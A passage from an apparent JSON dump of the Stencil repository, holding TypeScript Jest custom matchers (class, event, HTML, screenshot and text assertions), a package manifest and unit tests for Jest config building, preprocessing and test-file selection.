    "content": "export function toHaveClass(elm: HTMLElement, expectClassName: string) {\n  if (!elm) {\n    throw new Error(`expect toHaveClass value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== 1) {\n    throw new Error(`expect toHaveClass value is not an element`);\n  }\n\n  const pass = elm.classList.contains(expectClassName);\n\n  return {\n    message: () => `expected to ${pass ? 'not ' : ''}have css class \"${expectClassName}\"`,\n    pass: pass,\n  };\n}\n\nexport function toHaveClasses(elm: HTMLElement, expectClassNames: string[]) {\n  if (!elm) {\n    throw new Error(`expect toHaveClasses value is null`);\n  }\n\n  if (typeof (elm as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (elm.nodeType !== 1) {\n    throw new Error(`expect toHaveClasses value is not an element`);\n  }\n\n  const pass = expectClassNames.every((expectClassName) => {\n    return elm.classList.contains(expectClassName);\n  });\n\n  return {\n    message: () =>\n      `expected to ${pass ? 'not ' : ''}have css classes \"${expectClassNames.join(' ')}\", but className is \"${\n        elm.className\n      }\"`,\n    pass: pass,\n  };\n}\n\nexport function toMatchClasses(elm: HTMLElement, expectClassNames: string[]) {\n  let { pass } = toHaveClasses(elm, expectClassNames);\n  if (pass) {\n    pass = expectClassNames.length === elm.classList.length;\n  }\n\n  return {\n    message: () =>\n      `expected to ${pass ? 'not ' : ''}match css classes \"${expectClassNames.join(' ')}\", but className is \"${\n        elm.className\n      }\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/matchers/events.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nexport function toHaveReceivedEvent(eventSpy: d.EventSpy) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEvent event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEvent did not receive an event spy`);\n  }\n\n  const pass = eventSpy.events.length > 0;\n\n  return {\n    message: () => `expected to have ${pass ? 'not ' : ''}called \"${eventSpy.eventName}\" event`,\n    pass: pass,\n  };\n}\n\nexport function toHaveReceivedEventTimes(eventSpy: d.EventSpy, count: number) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEventTimes event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEventTimes did not receive an event spy`);\n  }\n\n  const pass = eventSpy.length === count;\n\n  return {\n    message: () =>\n      `expected event \"${eventSpy.eventName}\" to have been called ${count} times, but was called ${\n        eventSpy.events.length\n      } time${eventSpy.events.length > 1 ? 's' : ''}`,\n    pass: pass,\n  };\n}\n\nexport function toHaveReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.lastEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.lastEvent.detail, eventDetail);\n\n  expect(eventSpy.lastEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveFirstReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveFirstReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveFirstReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.firstEvent.detail, eventDetail);\n\n  expect(eventSpy.firstEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveLastReceivedEventDetail(eventSpy: d.EventSpy, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveLastReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveLastReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const pass = deepEqual(eventSpy.lastEvent.detail, eventDetail);\n\n  expect(eventSpy.lastEvent.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\nexport function toHaveNthReceivedEventDetail(eventSpy: d.EventSpy, index: number, eventDetail: any) {\n  if (!eventSpy) {\n    throw new Error(`toHaveNthReceivedEventDetail event spy is null`);\n  }\n\n  if (typeof (eventSpy as any).then === 'function') {\n    throw new Error(`event spy must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  if (!eventSpy.eventName) {\n    throw new Error(`toHaveNthReceivedEventDetail did not receive an event spy`);\n  }\n\n  if (!eventSpy.firstEvent) {\n    throw new Error(`event \"${eventSpy.eventName}\" was not received`);\n  }\n\n  const event = eventSpy.events[index];\n\n  if (!event) {\n    throw new Error(`event at index ${index} was not received`);\n  }\n\n  const pass = deepEqual(event.detail, eventDetail);\n\n  expect(event.detail).toEqual(eventDetail);\n\n  return {\n    message: () => `expected event \"${eventSpy.eventName}\" detail to ${pass ? 'not ' : ''}equal`,\n    pass: pass,\n  };\n}\n\n// from https://www.npmjs.com/package/fast-deep-equal\n// License in NOTICE.md\nconst deepEqual = function equal(a: any, b: any) {\n  if (a === b) return true;\n\n  if (a && b && typeof a == 'object' && typeof b == 'object') {\n    const arrA = Array.isArray(a),\n      arrB = Array.isArray(b);\n    let i, length, key;\n\n    if (arrA && arrB) {\n      length = a.length;\n      if (length != b.length) return false;\n      for (i = length; i-- !== 0; ) if (!equal(a[i], b[i])) return false;\n      return true;\n    }\n\n    if (arrA != arrB) return false;\n\n    const dateA = a instanceof Date,\n      dateB = b instanceof Date;\n    if (dateA != dateB) return false;\n    if (dateA && dateB) return a.getTime() == b.getTime();\n\n    const regexpA = a instanceof RegExp,\n      regexpB = b instanceof RegExp;\n    if (regexpA != regexpB) return false;\n    if (regexpA && regexpB) return a.toString() == b.toString();\n\n    const keys = Object.keys(a);\n    length = keys.length;\n\n    if (length !== Object.keys(b).length) return false;\n\n    for (i = length; i-- !== 0; ) if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n\n    for (i = length; i-- !== 0; ) {\n      key = keys[i];\n      if (!equal(a[key], b[key])) return false;\n    }\n\n    return true;\n  }\n\n  return a !== a && b !== b;\n};\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/matchers/html.ts",
    "content": "import type * as d from '@stencil/core/internal';\nimport { NODE_TYPES, parseHtmlToFragment, serializeNodeToHtml } from '@stencil/core/mock-doc';\n\nexport function toEqualHtml(input: string | HTMLElement | ShadowRoot, shouldEqual: string) {\n  return compareHtml(input, shouldEqual, true);\n}\n\nexport function toEqualLightHtml(input: string | HTMLElement | ShadowRoot, shouldEqual: string) {\n  return compareHtml(input, shouldEqual, false);\n}\n\nexport function compareHtml(\n  input: string | HTMLElement | ShadowRoot,\n  shouldEqual: string,\n  serializeShadowRoot: d.SerializeDocumentOptions['serializeShadowRoot'],\n) {\n  if (input == null) {\n    throw new Error(`expect toEqualHtml() value is \"${input}\"`);\n  }\n\n  if (typeof (input as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  let serializeA: string;\n\n  if ((input as HTMLElement).nodeType === NODE_TYPES.ELEMENT_NODE) {\n    const options = getSpecOptions(input as any);\n    serializeA = serializeNodeToHtml(input as any, {\n      prettyHtml: true,\n      outerHtml: true,\n      removeHtmlComments: options.includeAnnotations === false,\n      excludeTags: ['body'],\n      serializeShadowRoot,\n    });\n  } else if ((input as HTMLElement).nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) {\n    serializeA = serializeNodeToHtml(input as any, {\n      prettyHtml: true,\n      excludeTags: ['style'],\n      excludeTagContent: ['style'],\n      serializeShadowRoot,\n    });\n  } else if (typeof input === 'string') {\n    const parseA = parseHtmlToFragment(input);\n    serializeA = serializeNodeToHtml(parseA, {\n      prettyHtml: true,\n      serializeShadowRoot,\n    });\n  } else {\n    throw new Error(`expect toEqualHtml() value should be an element, shadow root or string.`);\n  }\n\n  const parseB = parseHtmlToFragment(shouldEqual);\n\n  const serializeB = serializeNodeToHtml(parseB, {\n    prettyHtml: true,\n    excludeTags: ['body'],\n  });\n\n  if (serializeA !== serializeB) {\n    expect(serializeA).toBe(serializeB);\n    return {\n      message: () => 'HTML does not match',\n      pass: false,\n    };\n  }\n\n  return {\n    message: () => 'expect HTML to match',\n    pass: true,\n  };\n}\n\nfunction getSpecOptions(el: HTMLElement): Partial<d.NewSpecPageOptions> {\n  if (el && el.ownerDocument && el.ownerDocument.defaultView) {\n    return (el.ownerDocument.defaultView as any)['__stencil_spec_options'] || {};\n  }\n\n  return {};\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/matchers/index.ts",
    "content": "import { toEqualAttribute, toEqualAttributes, toHaveAttribute } from './attributes';\nimport { toHaveClass, toHaveClasses, toMatchClasses } from './class-list';\nimport {\n  toHaveFirstReceivedEventDetail,\n  toHaveLastReceivedEventDetail,\n  toHaveNthReceivedEventDetail,\n  toHaveReceivedEvent,\n  toHaveReceivedEventDetail,\n  toHaveReceivedEventTimes,\n} from './events';\nimport { toEqualHtml, toEqualLightHtml } from './html';\nimport { toMatchScreenshot } from './screenshot';\nimport { toEqualText } from './text';\n\nexport const expectExtend = {\n  toEqualAttribute,\n  toEqualAttributes,\n  toEqualHtml,\n  toEqualLightHtml,\n  toEqualText,\n  toHaveAttribute,\n  toHaveClass,\n  toHaveClasses,\n  toMatchClasses,\n  toHaveReceivedEvent,\n  toHaveReceivedEventDetail,\n  toHaveReceivedEventTimes,\n  toHaveFirstReceivedEventDetail,\n  toHaveLastReceivedEventDetail,\n  toHaveNthReceivedEventDetail,\n  toMatchScreenshot,\n};\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/matchers/screenshot.ts",
    "content": "import type * as d from '@stencil/core/internal';\n\nexport function toMatchScreenshot(compare: d.ScreenshotDiff, opts: d.MatchScreenshotOptions = {}) {\n  if (!compare) {\n    throw new Error(`expect toMatchScreenshot value is null`);\n  }\n\n  if (typeof (compare as any).then === 'function') {\n    throw new Error(\n      `expect(compare).toMatchScreenshot() must be a resolved value, not a promise, before it can be tested`,\n    );\n  }\n\n  if (typeof compare.mismatchedPixels !== 'number') {\n    throw new Error(\n      `expect toMatchScreenshot() value is not a valid screenshot compare object - 'mismatchedPixels' has type '${typeof compare.mismatchedPixels}', but should be a number`,\n    );\n  }\n\n  if (typeof compare.deviceScaleFactor !== 'number') {\n    throw new Error(\n      `expect toMatchScreenshot() value is not a valid screenshot compare object - 'deviceScaleFactor' has type '${typeof compare.deviceScaleFactor}', but should be a number`,\n    );\n  }\n\n  const device = compare.device || compare.userAgent;\n\n  if (typeof opts.allowableMismatchedRatio === 'number') {\n    if (opts.allowableMismatchedRatio < 0 || opts.allowableMismatchedRatio > 1) {\n      throw new Error(`expect toMatchScreenshot() allowableMismatchedRatio must be a value ranging from 0 to 1`);\n    }\n\n    const mismatchedRatio =\n      compare.mismatchedPixels /\n      (compare.width * compare.deviceScaleFactor * (compare.height * compare.deviceScaleFactor));\n    return {\n      message: () =>\n        `${device}: screenshot has a mismatch ratio of \"${mismatchedRatio}\" for \"${compare.desc}\", but expected ratio to be less than \"${opts.allowableMismatchedRatio}\"`,\n      pass: mismatchedRatio <= opts.allowableMismatchedRatio,\n    };\n  }\n\n  if (typeof opts.allowableMismatchedPixels === 'number') {\n    if (opts.allowableMismatchedPixels < 0) {\n      throw new Error(\n        `expect toMatchScreenshot() allowableMismatchedPixels value must be a value that is 0 or greater`,\n      );\n    }\n    return {\n      message: () =>\n        `${device}: screenshot has \"${compare.mismatchedPixels}\" mismatched pixels for \"${compare.desc}\", but expected less than \"${opts.allowableMismatchedPixels}\" mismatched pixels`,\n      pass: compare.mismatchedPixels <= opts.allowableMismatchedPixels,\n    };\n  }\n\n  if (typeof compare.allowableMismatchedRatio === 'number') {\n    const mismatchedRatio =\n      compare.mismatchedPixels /\n      (compare.width * compare.deviceScaleFactor * (compare.height * compare.deviceScaleFactor));\n    return {\n      message: () =>\n        `${device}: screenshot has a mismatch ratio of \"${mismatchedRatio}\" for \"${compare.desc}\", but expected ratio to be less than \"${compare.allowableMismatchedRatio}\"`,\n      pass: mismatchedRatio <= compare.allowableMismatchedRatio,\n    };\n  }\n\n  if (typeof compare.allowableMismatchedPixels === 'number') {\n    return {\n      message: () =>\n        `${device}: screenshot has \"${compare.mismatchedPixels}\" mismatched pixels for \"${compare.desc}\", but expected less than \"${compare.allowableMismatchedPixels}\" mismatched pixels`,\n      pass: compare.mismatchedPixels <= compare.allowableMismatchedPixels,\n    };\n  }\n\n  throw new Error(`expect toMatchScreenshot() missing allowableMismatchedPixels in testing config`);\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/matchers/text.ts",
    "content": "import { NODE_TYPES } from '@stencil/core/mock-doc';\n\nexport function toEqualText(input: HTMLElement | string, expectTextContent: string) {\n  if (input == null) {\n    throw new Error(`expect toEqualText() value is \"${input}\"`);\n  }\n\n  if (typeof (input as any).then === 'function') {\n    throw new Error(`element must be a resolved value, not a promise, before it can be tested`);\n  }\n\n  let textContent: string;\n\n  if ((input as HTMLElement).nodeType === NODE_TYPES.ELEMENT_NODE) {\n    textContent = ((input as HTMLElement).textContent ?? '').replace(/\\s\\s+/g, ' ').trim();\n  } else {\n    textContent = String(input).replace(/\\s\\s+/g, ' ').trim();\n  }\n\n  if (typeof expectTextContent === 'string') {\n    expectTextContent = expectTextContent.replace(/\\s\\s+/g, ' ').trim();\n  }\n\n  const pass = textContent === expectTextContent;\n\n  return {\n    message: () => `expected textContent \"${expectTextContent}\" to ${pass ? 'not ' : ''}equal \"${textContent}\"`,\n    pass: pass,\n  };\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/package.json",
    "content": "{\n  \"name\": \"@stencil/jest-27-and-under\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Internal package for supporting Jest 27 and under with Stencil\",\n  \"license\": \"MIT\",\n  \"author\": \"Ionic Team\",\n  \"homepage\": \"https://stenciljs.com/\",\n  \"volta\": {\n    \"extends\": \"../../../../package.json\"\n  },\n  \"devDependencies\": {\n    \"@types/jest\": \"^27.5.2\",\n    \"jest\": \"^27.5.1\"\n  }\n}\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/test/__snapshots__/jest-serializer.spec.ts.snap",
    "content": "// Jest Snapshot v1, https://goo.gl/fbAQLP\n\nexports[`serialize node should serialize 1`] = `\n<body>\n  <div>\n    Test\n  </div>\n</body>\n`;\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/test/jest-config.spec.ts",
    "content": "import type { Config } from '@jest/types';\nimport { BOOLEAN_CLI_FLAGS } from '@stencil/core/cli';\nimport type * as d from '@stencil/core/declarations';\nimport { mockValidatedConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { parseFlags } from '../../../../cli/parse-flags';\nimport { buildJestArgv } from '../jest-config';\n\ndescribe('jest-config', () => {\n  it('pass --maxWorkers=2 arg when --max-workers=2', () => {\n    const args = ['test', '--ci', '--max-workers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--max-workers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  // the 'help' and 'version' flags are problematic with yargs (they cause a\n  // hang) and we intercept those flags and do our own thing before turning\n  // over to jest anyway\n  const cliFlagsToTest = BOOLEAN_CLI_FLAGS.filter((flag) => flag !== 'help' && flag !== 'version');\n  describe.each(cliFlagsToTest)('should deal with flag %s correctly', (cliArg) => {\n    it('converts boolean flag to boolean', () => {\n      const args = ['test', `--${cliArg}`];\n      const config = mockValidatedConfig();\n      config.flags = parseFlags(args);\n      const jestArgv = buildJestArgv(config);\n      expect(jestArgv[cliArg]).toBe(true);\n    });\n  });\n\n  it('marks outputFile as a Jest argument', () => {\n    const args = ['test', '--ci', '--outputFile=path/to/my-file'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n    expect(config.flags.args).toEqual(['--ci', '--outputFile=path/to/my-file']);\n    expect(config.flags.unknownArgs).toEqual([]);\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.outputFile).toBe('path/to/my-file');\n  });\n\n  it('pass --maxWorkers=2 arg when e2e test and --ci', () => {\n    const args = ['test', '--ci', '--e2e', '--max-workers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e', '--max-workers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  it('passes default --maxWorkers=0 arg when e2e test and --ci', () => {\n    const args = ['test', '--ci', '--e2e'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(0);\n  });\n\n  it('passed default --maxWorkers=0 arg when e2e test and --ci with filepath', () => {\n    const args = ['test', '--ci', '--e2e', '--', 'my-specfile.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci', '--e2e', '--', 'my-specfile.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['--', 'my-specfile.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(0);\n    expect(jestArgv._).toEqual(['my-specfile.spec.ts']);\n  });\n\n  it('pass --maxWorkers=2 arg to jest', () => {\n    const args = ['test', '--maxWorkers=2'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--maxWorkers=2']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.maxWorkers).toBe(2);\n  });\n\n  it('pass --ci arg to jest', () => {\n    const args = ['test', '--ci'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--ci']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.ci).toBe(true);\n    expect(jestArgv.maxWorkers).toBe(config.maxConcurrentWorkers);\n  });\n\n  it('sets legacy jest options', () => {\n    const args = ['test'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n\n    expect(jestArgv.detectLeaks).toBe(false);\n    expect(jestArgv['detect-leaks']).toBe(false);\n    expect(jestArgv.detectOpenHandles).toBe(false);\n    expect(jestArgv['detect-open-handles']).toBe(false);\n    expect(jestArgv.detectLeaks).toBe(false);\n    expect(jestArgv['detect-leaks']).toBe(false);\n    expect(jestArgv.errorOnDeprecated).toBe(false);\n    expect(jestArgv['error-on-deprecated']).toBe(false);\n    expect(jestArgv.listTests).toBe(false);\n    expect(jestArgv['list-tests']).toBe(false);\n    expect(jestArgv.maxConcurrency).toBe(5);\n    expect(jestArgv['max-concurrency']).toBe(5);\n    expect(jestArgv.notifyMode).toBe('failure-change');\n    expect(jestArgv['notify-mode']).toBe('failure-change');\n    expect(jestArgv.passWithNoTests).toBe(false);\n    expect(jestArgv['pass-with-no-tests']).toBe(false);\n    expect(jestArgv.runTestsByPath).toBe(false);\n    expect(jestArgv['run-tests-by-path']).toBe(false);\n    expect(jestArgv.testLocationInResults).toBe(false);\n    expect(jestArgv['test-location-in-results']).toBe(false);\n  });\n\n  it('pass test spec arg to jest', () => {\n    const args = ['test', 'hello.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['hello.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['hello.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv._).toEqual(['hello.spec.ts']);\n  });\n\n  it('pass test config to jest', () => {\n    const args = ['test'];\n    const config = mockValidatedConfig({\n      testing: {\n        testMatch: ['hello.spec.ts'],\n      },\n    });\n    config.flags = parseFlags(args);\n\n    expect(config.flags.task).toBe('test');\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.testMatch).toEqual(['hello.spec.ts']);\n  });\n\n  it('set jestArgv config reporters', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({\n      rootDir,\n      testing: { reporters: ['default', ['jest-junit', { suiteName: 'jest tests' }]] },\n    });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.reporters).toHaveLength(2);\n    expect(parsedConfig.reporters[0]).toBe('default');\n    expect(parsedConfig.reporters[1][0]).toBe('jest-junit');\n    expect(parsedConfig.reporters[1][1].suiteName).toBe('jest tests');\n  });\n\n  it('set jestArgv config rootDir', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({ rootDir });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.rootDir).toBe(rootDir);\n  });\n\n  it('set jestArgv config collectCoverageFrom', () => {\n    const rootDir = path.resolve('/');\n    const args = ['test'];\n    const config = mockValidatedConfig({ rootDir, testing: { collectCoverageFrom: ['**/*.+(ts|tsx)'] } });\n    config.flags = parseFlags(args);\n\n    const jestArgv = buildJestArgv(config);\n    // `buildJestArgv` is expected to place a `config` property on the returned `Config.Argv`, hence the use of the bang\n    // operator. if one wasn't on the object, `JSON.parse` is expected to throw (failing the test).\n    const parsedConfig = JSON.parse(jestArgv.config!) as d.JestConfig;\n    expect(parsedConfig.collectCoverageFrom).toHaveLength(1);\n    expect(parsedConfig.collectCoverageFrom![0]).toBe('**/*.+(ts|tsx)');\n  });\n\n  it('passed flags should be respected over defaults', () => {\n    const args = ['test', '--spec', '--passWithNoTests'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--spec', '--passWithNoTests']);\n    expect(config.flags.unknownArgs).toEqual([]);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.spec).toBe(true);\n    expect(jestArgv.passWithNoTests).toBe(true);\n  });\n\n  it('should parse a setup with a filepath constraint', () => {\n    const args = ['test', '--spec', '--json', '--', 'my-component.spec.ts'];\n    const config = mockValidatedConfig();\n    config.flags = parseFlags(args);\n\n    expect(config.flags.args).toEqual(['--spec', '--json', '--', 'my-component.spec.ts']);\n    expect(config.flags.unknownArgs).toEqual(['--', 'my-component.spec.ts']);\n\n    const jestArgv = buildJestArgv(config);\n    expect(jestArgv.json).toBe(true);\n    // the `_` field holds any filename pattern matches\n    expect(jestArgv._).toEqual(['my-component.spec.ts']);\n  });\n\n  it('should parse multiple file patterns', () => {\n    const args = ['test', '--spec', '--json', '--', 'foobar/*', 'my-spec.ts'];\n    const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n    expect(jestArgv.json).toBe(true);\n    // the `_` field holds any filename pattern matches\n    expect(jestArgv._).toEqual(['foobar/*', 'my-spec.ts']);\n  });\n\n  describe('Jest aliases', () => {\n    it('should support the string Jest alias \"-w=4\" for maxWorkers', () => {\n      const args = ['test', '--spec', '-w=4'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.maxWorkers).toBe(4);\n    });\n\n    it('should support the string Jest alias \"-w 4\" for maxWorkers', () => {\n      const args = ['test', '--spec', '-w', '4'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.maxWorkers).toBe(4);\n    });\n\n    it('should support the string Jest alias \"-t\" for testNamePattern', () => {\n      const args = ['test', '--spec', '-t=my-test-pattern'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.testNamePattern).toBe('my-test-pattern');\n    });\n\n    it('should support the string Jest alias \"-t pattern\" for testNamePattern', () => {\n      const args = ['test', '--spec', '-t', 'my-test-pattern'];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv.testNamePattern).toBe('my-test-pattern');\n    });\n\n    it.each<[string, keyof Config.Argv]>([\n      ['b', 'bail'],\n      ['e', 'expand'],\n      ['o', 'onlyChanged'],\n      ['f', 'onlyFailures'],\n      ['i', 'runInBand'],\n      ['u', 'updateSnapshot'],\n    ])('should support the boolean Jest alias %p for %p', (alias, fullArgument) => {\n      const args = ['test', '--spec', `-${alias}`];\n      const jestArgv = buildJestArgv(mockValidatedConfig({ flags: parseFlags(args) }));\n      expect(jestArgv[fullArgument]).toBe(true);\n    });\n  });\n\n  it('sets the default runner', () => {\n    const jestArgv = buildJestArgv(mockValidatedConfig());\n    const config = JSON.parse(jestArgv.config!);\n    expect(config.testRunner).toBe('jest-jasmine2');\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/test/jest-preprocessor.spec.ts",
    "content": "import { shouldTransform } from '../jest-preprocessor';\n\ndescribe('jest preprocessor', () => {\n  it('shouldTransform', () => {\n    expect(shouldTransform('file.ts', '')).toBe(true);\n    expect(shouldTransform('file.d.ts', '')).toBe(true);\n    expect(shouldTransform('file.tsx', '')).toBe(true);\n    expect(shouldTransform('file.jsx', '')).toBe(true);\n    expect(shouldTransform('file.mjs', '')).toBe(true);\n    expect(shouldTransform('file.css', '')).toBe(true);\n    expect(shouldTransform('file.CsS', '')).toBe(true);\n    expect(shouldTransform('file.css?tag=my-cmp', '')).toBe(true);\n  });\n\n  it('shouldTransform js ext with es module imports/exports', () => {\n    expect(shouldTransform('file.js', 'import {} from \"./file\";')).toBe(true);\n    expect(shouldTransform('file.js', 'import.meta.url')).toBe(true);\n    expect(shouldTransform('file.js', 'export * from \"./file\";')).toBe(true);\n    expect(shouldTransform('file.js', 'console.log(\"hi\")')).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/testing/jest/jest-27-and-under/test/jest-runner.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\n\nimport { ConfigFlags, createConfigFlags } from '../../../../cli/config-flags';\nimport { getEmulateConfigs, includeTestFile } from '../jest-runner';\n\ndescribe('jest-runner', () => {\n  it('should include for /path/prefix.spec.ts with --spec', () => {\n    const testPath = `/path/prefix.spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/spec.ts with --spec', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_SPEC_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/prefix.e2e.ts with --e2e', () => {\n    const testPath = `/path/prefix.e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should include for /path/e2e.ts with --e2e', () => {\n    const testPath = `/path/e2e.ts`;\n    const env: d.E2EProcessEnv = {\n      __STENCIL_E2E_TESTS__: 'true',\n    };\n\n    expect(includeTestFile(testPath, env)).toBe(true);\n  });\n\n  it('should not include for /path/spec.ts with no --spec', () => {\n    const testPath = `/path/spec.ts`;\n    const env: d.E2EProcessEnv = {};\n\n    